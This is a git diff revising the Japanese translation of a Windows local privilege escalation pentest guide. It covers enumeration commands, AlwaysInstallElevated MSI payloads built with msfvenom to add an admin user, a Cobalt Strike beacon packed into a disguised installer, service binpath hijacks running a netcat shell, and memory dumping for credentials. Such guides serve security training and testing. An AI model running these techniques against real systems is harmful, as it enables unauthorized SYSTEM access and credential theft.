diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index abae26d23..dff106981 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -1,14 +1,14 @@ -# Windows ローカル権限昇格 +# Windows Local Privilege Escalation {{#include ../../banners/hacktricks-training.md}} -### **Windows のローカル権限昇格ベクターを探すための最良のツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## Windows の基礎理論 +## Initial Windows Theory ### アクセストークン -**Windows のアクセストークンを知らない場合は、先に進む前に次のページを読んでください:** +**Windows のアクセストークンが分からない場合は、先に次のページを読んでください:** {{#ref}} @@ -17,25 +17,25 @@ access-tokens.md ### ACLs - DACLs/SACLs/ACEs -**ACLs - DACLs/SACLs/ACEs についての詳細は次のページを確認してください:** +**ACLs、DACLs/SACLs/ACEs の詳細は次のページを参照してください:** {{#ref}} acls-dacls-sacls-aces.md {{#endref}} -### Integrity Levels +### 整合性レベル -**Windows の integrity levels が何か分からない場合は、続行する前に次のページを読んでください:** +**Windows の整合性レベルが分からない場合は、続行する前に次のページを読んでください:** {{#ref}} integrity-levels.md {{#endref}} -## Windows セキュリティコントロール +## Windows のセキュリティ制御 -Windows には、システムの列挙を**妨げる**、実行ファイルの実行を阻止する、さらにはあなたの活動を**検出する**などのさまざまな機能があります。権限昇格の列挙を開始する前に、次の**ページ**を**読み**、これらすべての**防御****メカニズム**を**列挙**してください: +Windows には、システムの列挙を**妨げる**、実行ファイルの実行を阻止する、あるいはあなたの活動を**検出する**など、さまざまな機能があります。権限昇格の列挙を開始する前に、次の**ページ**を**読み**、これらすべての**防御** **メカニズム**を**列挙**してください: {{#ref}} @@ -46,7 +46,7 @@ Windows には、システムの列挙を**妨げる**、実行ファイルの ### バージョン情報の列挙 -Windows のバージョンに既知の脆弱性がないか確認してください(適用されているパッチも確認してください)。 +Windows のバージョンに既知の脆弱性がないか確認してください(適用されているパッチも確認すること)。 ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,23 +59,23 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### バージョンエクスプロイト +### バージョン別エクスプロイト -This [site](https://msrc.microsoft.com/update-guide/vulnerability) is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the **膨大な攻撃面** that a Windows environment presents. +この [site](https://msrc.microsoft.com/update-guide/vulnerability) は Microsoft のセキュリティ脆弱性に関する詳細情報を検索するのに便利です。 このデータベースは4,700件を超えるセキュリティ脆弱性を収録しており、Windows環境が持つ**巨大な攻撃面**を示しています。 -**システム上で** +**On the system** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas has watson embedded)_ +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeasにはwatsonが組み込まれている)_ -**システム情報を使ったローカルで** +**ローカル(システム情報あり)** - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**エクスプロイトのGithubリポジトリ:** +**Github のエクスプロイトリポジトリ:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) @@ -101,7 +101,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` ### PowerShell トランスクリプトファイル -この機能を有効にする方法は [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) で学べます。 +有効化する方法は次のページを参照してください: [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -116,30 +116,30 @@ Stop-Transcript ``` ### PowerShell Module Logging -PowerShell のパイプライン実行の詳細(実行されたコマンド、コマンド呼び出し、スクリプトの一部など)が記録されます。ただし、実行のすべての詳細や出力結果が完全に取得されない場合があります。 +PowerShell のパイプライン実行の詳細が記録されます。実行されたコマンド、コマンドの呼び出し、スクリプトの一部が含まれます。ただし、実行の全詳細や出力結果までは記録されない場合があります。 -これを有効にするには、ドキュメントの「Transcript files」セクションの手順に従い、**"Module Logging"** を **"Powershell Transcription"** の代わりに選択してください。 +これを有効にするには、ドキュメントの「Transcript files」セクションの指示に従い、**"Module Logging"** を **"Powershell Transcription"** の代わりに選択してください。 ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -Powershell ログの最後の15件のイベントを表示するには、次を実行してください: +PowersShell ログの最後の15件のイベントを表示するには、次を実行します: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -スクリプトの実行に関する完全な活動記録と全内容が取得され、各コードブロックが実行時に記録されることが保証されます。このプロセスにより、各操作の包括的な監査証跡が保持され、フォレンジックや悪意のある挙動の解析に有用です。実行時のすべての活動を文書化することで、プロセスに関する詳細な洞察が得られます。 +スクリプトの実行に関する完全なアクティビティと全コンテンツの記録が取得され、各コードブロックが実行時に文書化されることが保証されます。このプロセスは各アクティビティの包括的な監査証跡を保存し、フォレンジック調査や悪意のある挙動の解析に有用です。実行時にすべてのアクティビティを記録することで、プロセスに関する詳細な洞察が提供されます。 ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Script Block のログイベントは Windows Event Viewer の次のパスにあります: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ -最後の20件のイベントを表示するには、次を使用できます: +Script Block のログイベントは Windows Event Viewer の次のパスで確認できます: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +最後の20件のイベントを表示するには次を使用できます: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` @@ -156,9 +156,9 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -更新が http**S** ではなく http で要求されている場合、システムを侵害できます。 +更新が http**S** ではなく http で要求されている場合、システムを乗っ取ることができます。 -まず、cmd で次を実行してネットワークが non-SSL WSUS 更新を使用しているか確認します: +まず、ネットワークが非SSLの WSUS アップデートを使用しているかどうかを、cmd で次のコマンドを実行して確認します: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` @@ -180,13 +180,13 @@ PSChildName : windowsupdate PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` -そして、`HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` または `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` が `1` と等しい場合。 +そして、`HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` または `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` が `1` の場合。 -その場合、**悪用可能です。** 最後のレジストリが 0 と等しい場合、WSUS エントリは無視されます。 +その場合、 **悪用可能です。** 最後のレジストリ値が 0 の場合、WSUS エントリは無視されます。 -この脆弱性を悪用するためには、次のようなツールを使用できます: [Wsuxploit](https://github.com/pimps/wsuxploit)、[pyWSUS](https://github.com/GoSecure/pywsus) - これらは MiTM により武装されたエクスプロイトスクリプトで、非 SSL の WSUS トラフィックに「偽」更新を注入します。 +これらの脆弱性を悪用するには、次のようなツールが使用できます: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - これらは非SSLのWSUSトラフィックに 'fake' 更新を注入するための MiTM 向けエクスプロイトスクリプトです。 -Read the research here: +調査は以下を参照: {{#file}} CTX_WSUSpect_White_Paper (1).pdf @@ -194,18 +194,18 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** -[**完全なレポートはこちら**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -基本的に、これはこのバグが悪用する欠陥です: +[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ +基本的に、この不具合が悪用する欠陥は次のとおりです: -> ローカルユーザのプロキシを変更する権限があり、Windows Updates が Internet Explorer の設定で構成されたプロキシを使用する場合、[PyWSUS](https://github.com/GoSecure/pywsus) をローカルで実行して自分のトラフィックを傍受し、アセット上で特権昇格したユーザとしてコードを実行することが可能になります。 +> ローカルユーザのプロキシを変更する権限があり、Windows Updates が Internet Explorer の設定で構成されたプロキシを使用する場合、ローカルで [PyWSUS](https://github.com/GoSecure/pywsus) を実行して自分のトラフィックを傍受し、アセット上で昇格したユーザとしてコードを実行することができます。 > -> さらに、WSUS サービスは現在のユーザの設定を使用するため、その証明書ストアも使用します。WSUS ホスト名用の自己署名証明書を生成し、それを現在のユーザの証明書ストアに追加すれば、HTTP と HTTPS の WSUS トラフィックの両方を傍受できます。WSUS は証明書に対してトラスト・オン・ファースト・ユース型の検証を実装するための HSTS-like のようなメカニズムを持っていません。提示された証明書がユーザにより信頼され、正しいホスト名を持っていれば、サービスはそれを受け入れます。 +> さらに、WSUS サービスは現在のユーザの設定を使用するため、そのユーザの証明書ストアも使用します。WSUS ホスト名用の自己署名証明書を生成してそれを現在のユーザの証明書ストアに追加すれば、HTTP および HTTPS 双方の WSUS トラフィックを傍受することが可能になります。WSUS は証明書に対して信頼初回使用(trust-on-first-use)的な検証以外の HSTS のような仕組みを採用していません。提示された証明書がユーザにより信頼され、かつ正しいホスト名を持っていれば、サービスはそれを受け入れます。 -この脆弱性はツール [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) を使用して悪用できます(入手可能になれば)。 +この脆弱性はツール [**WSUSpicious**](https://github.com/GoSecure/wsuspicious)(入手可能になれば)を使用して悪用できます。 -## サードパーティの Auto-Updaters と Agent IPC (local privesc) +## Third-Party Auto-Updaters and Agent IPC (local privesc) -多くのエンタープライズエージェントは、localhost の IPC インターフェースと特権化されたアップデートチャネルを公開しています。登録先が攻撃者のサーバーに誘導され、updater が不正なルート CA や弱い署名チェックを信頼する場合、ローカルユーザは SYSTEM サービスがインストールする悪意のある MSI を配布できます。一般化した手法(Netskope stAgentSvc チェーンに基づく – CVE-2025-0309)はこちらを参照: +多くのエンタープライズエージェントは localhost の IPC サーフェスと特権付きのアップデートチャネルを公開しています。登録(enrollment)を攻撃者のサーバに強制でき、かつアップデータが不正なルート CA を信頼するか署名検証が弱い場合、ローカルユーザは SYSTEM サービスがインストールする悪意のある MSI を配布できます。一般化した手法(Netskope stAgentSvc チェーンに基づく – CVE-2025-0309)は以下を参照してください: {{#ref}} abusing-auto-updaters-and-ipc.md @@ -213,15 +213,15 @@ abusing-auto-updaters-and-ipc.md ## KrbRelayUp -Windows **domain** 環境において、特定の条件下で **local privilege escalation** の脆弱性が存在します。これらの条件には、**LDAP signing が強制されていない**環境、ユーザが **Resource-Based Constrained Delegation (RBCD)** を設定できる自己権限を持っていること、およびユーザがドメイン内にコンピュータを作成できる能力が含まれます。これらの **要件** は **default settings** でも満たされることに注意してください。 +Windows の **domain** 環境において、特定の条件下で **local privilege escalation** の脆弱性が存在します。これらの条件には、**LDAP signing が強制されていない**環境、ユーザが **Resource-Based Constrained Delegation (RBCD)** を構成できる自己権限を持っていること、そしてユーザがドメイン内にコンピュータを作成できる能力が含まれます。これらの **要件** は **デフォルト設定** のままでも満たされることに注意してください。 -Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) +エクスプロイトは [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) で見つかります。 -For more information about the flow of the attack check [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) +攻撃のフローの詳細については次を参照してください: [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**If** these 2 registers are **enabled** (value is **0x1**), then users of any privilege can **install** (execute) `*.msi` files as NT AUTHORITY\\**SYSTEM**. +**もし** これら 2 つのレジストリ値が **有効**(値が **0x1**)になっている場合、あらゆる権限のユーザが NT AUTHORITY\\**SYSTEM** として `*.msi` ファイルを **インストール**(実行)できます。 ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -231,11 +231,11 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -meterpreter セッションがある場合、このテクニックはモジュール **`exploit/windows/local/always_install_elevated`** を使って自動化できます。 +If you have a meterpreter session you can automate this technique using the module **`exploit/windows/local/always_install_elevated`** ### PowerUP -power-up の `Write-UserAddMSI` コマンドを使用して、カレントディレクトリ内に権限昇格用の Windows MSI バイナリを作成します。このスクリプトは、ユーザー/グループ追加を促すプリコンパイル済みの MSI インストーラを書き出します(そのため GIU アクセスが必要になります): +power-upの`Write-UserAddMSI`コマンドを使って、カレントディレクトリ内に権限昇格用のWindows MSIバイナリを作成します。このスクリプトはプリコンパイル済みのMSIインストーラーを書き出し、ユーザー/グループの追加を促します(そのためGIUアクセスが必要になります): ``` Write-UserAddMSI ``` @@ -243,34 +243,34 @@ Write-UserAddMSI ### MSI Wrapper -このチュートリアルを読んで、このツールを使ってMSIラッパーを作成する方法を学んでください。注意: "**.bat**" ファイルは、**コマンドライン**を**実行**したいだけの場合にラップできます +このチュートリアルを読んで、これらのツールを使ってMSI Wrapperを作成する方法を学んでください。コマンドラインを単に実行したいだけの場合は、"**.bat**" ファイルをラップすることができます。 {{#ref}} msi-wrapper.md {{#endref}} -### WIXでMSIを作成 +### Create MSI with WIX {{#ref}} create-msi-with-wix.md {{#endref}} -### Visual StudioでMSIを作成 +### Create MSI with Visual Studio -- **Cobalt Strike** または **Metasploit** で `C:\privesc\beacon.exe` に新しい Windows EXE TCP payload を**生成**します -- **Visual Studio** を開き、検索ボックスに "Create a new project" と入力します。**Setup Wizard** プロジェクトを選択して **Next** をクリックします。 -- プロジェクト名を **AlwaysPrivesc** のように付け、場所に **`C:\privesc`** を使用し、**place solution and project in the same directory** を選択して **Create** をクリックします。 -- 3/4 のステップ(含めるファイルの選択)に到達するまで **Next** をクリックし続けます。**Add** をクリックして先ほど生成した Beacon ペイロードを選択します。次に **Finish** をクリックします。 -- **Solution Explorer** で **AlwaysPrivesc** プロジェクトをハイライトし、**Properties** で **TargetPlatform** を **x86** から **x64** に変更します。 -- インストールされたアプリをより正当らしく見せるために、**Author** や **Manufacturer** などのプロパティを変更できます。 -- プロジェクトを右クリックし **View > Custom Actions** を選択します。 +- **Generate** with Cobalt Strike or Metasploit a **new Windows EXE TCP payload** in `C:\privesc\beacon.exe` +- Visual Studio を開き、**Create a new project** を選択して検索ボックスに "installer" と入力します。**Setup Wizard** プロジェクトを選択して **Next** をクリックします。 +- プロジェクト名を **AlwaysPrivesc** のように付け、場所には **`C:\privesc`** を使用し、**place solution and project in the same directory** を選択して **Create** をクリックします。 +- **Next** をクリックし続けてステップ 3/4 (choose files to include) に進みます。**Add** をクリックして先ほど生成した Beacon ペイロードを選択し、**Finish** をクリックします。 +- **Solution Explorer** で **AlwaysPrivesc** プロジェクトを選択し、**Properties** で **TargetPlatform** を **x86** から **x64** に変更します。 +- **Author** や **Manufacturer** など、インストールされたアプリをより正当らしく見せるために変更できるプロパティが他にもあります。 +- プロジェクトを右クリックして **View > Custom Actions** を選択します。 - **Install** を右クリックして **Add Custom Action** を選択します。 -- **Application Folder** をダブルクリックし、**beacon.exe** ファイルを選択して **OK** をクリックします。これにより、インストーラーが実行されるとすぐに beacon ペイロードが実行されます。 +- **Application Folder** をダブルクリックし、**beacon.exe** を選択して **OK** をクリックします。これにより、インストーラーが実行されるとすぐに Beacon ペイロードが実行されます。 - **Custom Action Properties** の下で **Run64Bit** を **True** に変更します。 -- 最後に、**ビルド**します。 -- 警告 `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` が表示された場合は、プラットフォームを x64 に設定したか確認してください。 +- Finally, **build it**. +- 警告 `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` が表示された場合は、プラットフォームを x64 に設定していることを確認してください。 ### MSI Installation @@ -278,25 +278,25 @@ create-msi-with-wix.md ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -この脆弱性をエクスプロイトするには、次を使用できます: _exploit/windows/local/always_install_elevated_ +この脆弱性を悪用するには次を使用できます: _exploit/windows/local/always_install_elevated_ ## アンチウイルスと検出 ### 監査設定 -これらの設定は何が**記録**されるかを決定するため、注意を払うべきです。 +これらの設定は何が**ログに記録される**かを決めるので、注意を払ってください。 ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` ### WEF -Windows Event Forwarding は、logs がどこに送信されているかを知ると興味深い。 +Windows Event Forwarding、ログがどこに送信されているかを把握するのは興味深い。 ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` ### LAPS -**LAPS** は、ドメインに参加しているコンピュータの **ローカル Administrator パスワードの管理** を目的としており、各パスワードが **一意でランダム化され、定期的に更新される** ことを保証します。これらのパスワードは Active Directory に安全に格納され、ACL を通じて十分な権限が付与されたユーザーのみがアクセスでき、承認されている場合にローカル管理者パスワードを表示できます。 +**LAPS** は、local Administrator passwords の管理のために設計されており、ドメインに参加しているコンピュータ上で各パスワードが一意にランダム化され、定期的に更新されることを保証します。これらのパスワードは Active Directory 内に安全に格納され、ACLs を通じて十分な権限が付与されたユーザーのみが、許可されている場合に local admin passwords を閲覧できます。 {{#ref}} @@ -305,27 +305,27 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -有効な場合、**平文のパスワードが LSASS に保存されます** (Local Security Authority Subsystem Service).\ -[**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). +有効な場合、**plain-text passwords are stored in LSASS** (Local Security Authority Subsystem Service).\ +[**このページの WDigest に関する詳細**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Protection -**Windows 8.1** 以降、Microsoft は Local Security Authority (LSA) の保護を強化し、信頼されていないプロセスがそのメモリを **読み取る** 試みやコード注入を **ブロック** して、システムをさらに保護しています。\ +**Windows 8.1** 以降、Microsoft は Local Security Authority (LSA) に対する保護を強化し、信頼されていないプロセスによる**メモリの読み取り**やコード注入の試みを**ブロック**してシステムをさらに保護するようになりました。\ [**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** は **Windows 10** で導入されました。目的は、デバイスに保存されている認証情報を pass-the-hash 攻撃のような脅威から保護することです.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** は **Windows 10** で導入されました。デバイスに保存された資格情報を、pass-the-hash attacks のような脅威から保護することを目的としています。| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### キャッシュされた資格情報 -**ドメイン資格情報**は**Local Security Authority** (LSA) によって認証され、オペレーティングシステムのコンポーネントによって利用されます。ユーザーのログオン情報が登録済みのセキュリティパッケージによって認証されると、通常そのユーザーのドメイン資格情報が確立されます。\ +**ドメイン資格情報**は**Local Security Authority** (LSA) によって認証され、OSのコンポーネントによって利用されます。ユーザーのログオン情報が登録されたセキュリティパッケージによって認証されると、通常、そのユーザーのドメイン資格情報が確立されます。\ [**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT @@ -334,7 +334,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO ### ユーザーとグループの列挙 -自分が所属するグループのうち、興味深い権限を持つものがないか確認すべきです。 +所属するグループに興味深い権限があるか確認してください ```bash # CMD net users %username% #Me @@ -351,7 +351,7 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### 特権グループ -もしあなたが**ある特権グループに属している場合、権限を昇格できる可能性があります**。特権グループとそれを悪用して権限を昇格させる方法については、こちらを参照してください: +もしあなたが**ある特権グループに属している場合、権限を昇格できる可能性があります**。特権グループと、それらを悪用して権限昇格する方法は以下を参照してください: {{#ref}} @@ -360,15 +360,15 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ### トークン操作 -**詳しく知る**ために、このページで**トークン**が何かを確認してください: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -以下のページを確認して、**興味深いトークンについて学ぶ**とそれらを悪用する方法を学んでください: +**詳しくは**このページで**token**が何かを確認してください: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +次のページで、**興味深い token について学び**、それらを悪用する方法を確認してください: {{#ref}} privilege-escalation-abusing-tokens.md {{#endref}} -### ログオンユーザー / セッション +### ログオン中のユーザー / セッション ```bash qwinsta klist sessions @@ -390,8 +390,8 @@ powershell -command "Get-Clipboard" ### ファイルとフォルダの権限 -まず、プロセスを列挙して、**プロセスのコマンドライン内にパスワードが含まれていないかを確認してください**。\ -**実行中のバイナリを上書きできるか**、またはバイナリフォルダに書き込み権限があり、潜在的な [**DLL Hijacking attacks**](dll-hijacking/index.html) を悪用できるかを確認します: +まず、プロセスを一覧表示し、**プロセスのコマンドライン内のパスワードを確認してください**。\ +実行中のバイナリを**上書きできるか**、またはバイナリフォルダに書き込み権限があるかを確認して、潜在的な [**DLL Hijacking attacks**](dll-hijacking/index.html) を悪用できるか調べてください: ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -402,9 +402,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -常に [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md) が実行されているか確認してください。 +常に[**electron/cef/chromium debuggers**が稼働しているかを確認してください。これを悪用して権限を昇格させることができます](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md)。 -**プロセスのバイナリのパーミッションを確認する** +**プロセスのバイナリの権限を確認する** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( @@ -423,15 +423,15 @@ todos %username%" && echo. ``` ### Memory Password mining -実行中のプロセスのメモリダンプは、sysinternals の **procdump** を使って作成できます。FTP のようなサービスは **credentials in clear text in memory** を保持していることがあるため、メモリをダンプしてそれらの credentials を読み取ってみてください。 +実行中のプロセスのメモリダンプは、sysinternals の **procdump** を使って取得できます。FTP のようなサービスはメモリ上に **credentials in clear text in memory** を保持していることがあるため、メモリをダンプしてこれらの認証情報を読み取ってみてください。 ```bash procdump.exe -accepteula -ma ``` -### 安全でない GUI アプリ +### 不安全な GUI アプリ -**SYSTEM として実行されているアプリケーションは、ユーザーが CMD を起動したり、ディレクトリを参照したりできる場合があります。** +**SYSTEMとして実行されているアプリケーションは、ユーザーがCMDを起動したり、ディレクトリを参照したりできる可能性があります。** -例: "Windows Help and Support" (Windows + F1) を開き、"command prompt" を検索し、"Click to open Command Prompt" をクリック +例: "Windows Help and Support" (Windows + F1)、"command prompt" を検索して、"Click to open Command Prompt" をクリック ## サービス @@ -444,15 +444,15 @@ Get-Service ``` ### 権限 -サービスの情報を取得するには **sc** を使用できます +サービスの情報を取得するには **sc** を使用できます。 ```bash sc qc ``` -各サービスに必要な権限レベルを確認するために、_Sysinternals_ のバイナリ **accesschk** を用意しておくことを推奨します。 +各サービスに必要な特権レベルを確認するために、_Sysinternals_ のバイナリ **accesschk** を用意することを推奨します。 ```bash accesschk.exe -ucqv #Check rights for different groups ``` -"Authenticated Users"が任意のサービスを変更できるかどうかを確認することを推奨します: +「Authenticated Users」が任意のサービスを変更できるかどうかを確認することをお勧めします: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula @@ -461,27 +461,27 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` [You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) -### サービスを有効化する +### サービスを有効化 -もし次のようなエラーが発生している場合(例: SSDPSRV): +例えば SSDPSRV で次のようなエラーが発生する場合: -_システム エラー 1058 が発生しました._\ -_そのサービスは無効になっているか、関連付けられた有効なデバイスがないため、開始できません。_ +_System error 1058 has occurred._\ +_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ -次の方法で有効にできます +次のコマンドで有効化できます ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**サービス upnphost は動作するために SSDPSRV に依存していることに注意してください(XP SP1 の場合)** +**サービス upnphost が動作するには SSDPSRV に依存していることを考慮してください (XP SP1 の場合)** -**別の回避策** この問題に対して次を実行します: +**別の回避策**は、次を実行することです: ``` sc.exe config usosvc start= auto ``` -### **サービスのバイナリパスを変更する** +### **Modify service binary path** -サービスに対して "Authenticated users" グループが **SERVICE_ALL_ACCESS** を持っている場合、そのサービスの実行バイナリを変更することが可能です。**sc** を変更して実行するには: +In the scenario where the "Authenticated users" group possesses **SERVICE_ALL_ACCESS** on a service, modification of the service's executable binary is possible. To modify and execute **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -494,35 +494,35 @@ sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -特権は次のような様々な権限を通じて昇格できます: +権限は次のような複数のアクセス許可を通じて昇格できます: -- **SERVICE_CHANGE_CONFIG**: サービスバイナリの再設定を許可します。 -- **WRITE_DAC**: 権限の再設定を可能にし、サービス構成の変更につながります。 -- **WRITE_OWNER**: 所有権の取得と権限の再設定を許可します。 -- **GENERIC_WRITE**: サービス構成を変更する能力を継承します。 -- **GENERIC_ALL**: 同様にサービス構成を変更する能力を継承します。 +- **SERVICE_CHANGE_CONFIG**: サービスのバイナリを再構成することを許可します。 +- **WRITE_DAC**: 権限の再構成を可能にし、結果的にサービス構成を変更できるようになります。 +- **WRITE_OWNER**: 所有権の取得と権限の再構成を許可します。 +- **GENERIC_WRITE**: サービス構成を変更する能力を含みます。 +- **GENERIC_ALL**: 同様にサービス構成を変更する能力を含みます。 -この脆弱性の検出と悪用には、_exploit/windows/local/service_permissions_ を利用できます。 +この脆弱性の検出と悪用には _exploit/windows/local/service_permissions_ を使用できます。 ### サービスバイナリの弱い権限 -**サービスによって実行されるバイナリを変更できるか確認する** またはバイナリがあるフォルダに**書き込み権限があるか**確認する ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -サービスによって実行されるすべてのバイナリは **wmic**(system32にはない)を使って取得でき、権限は **icacls** で確認できます: 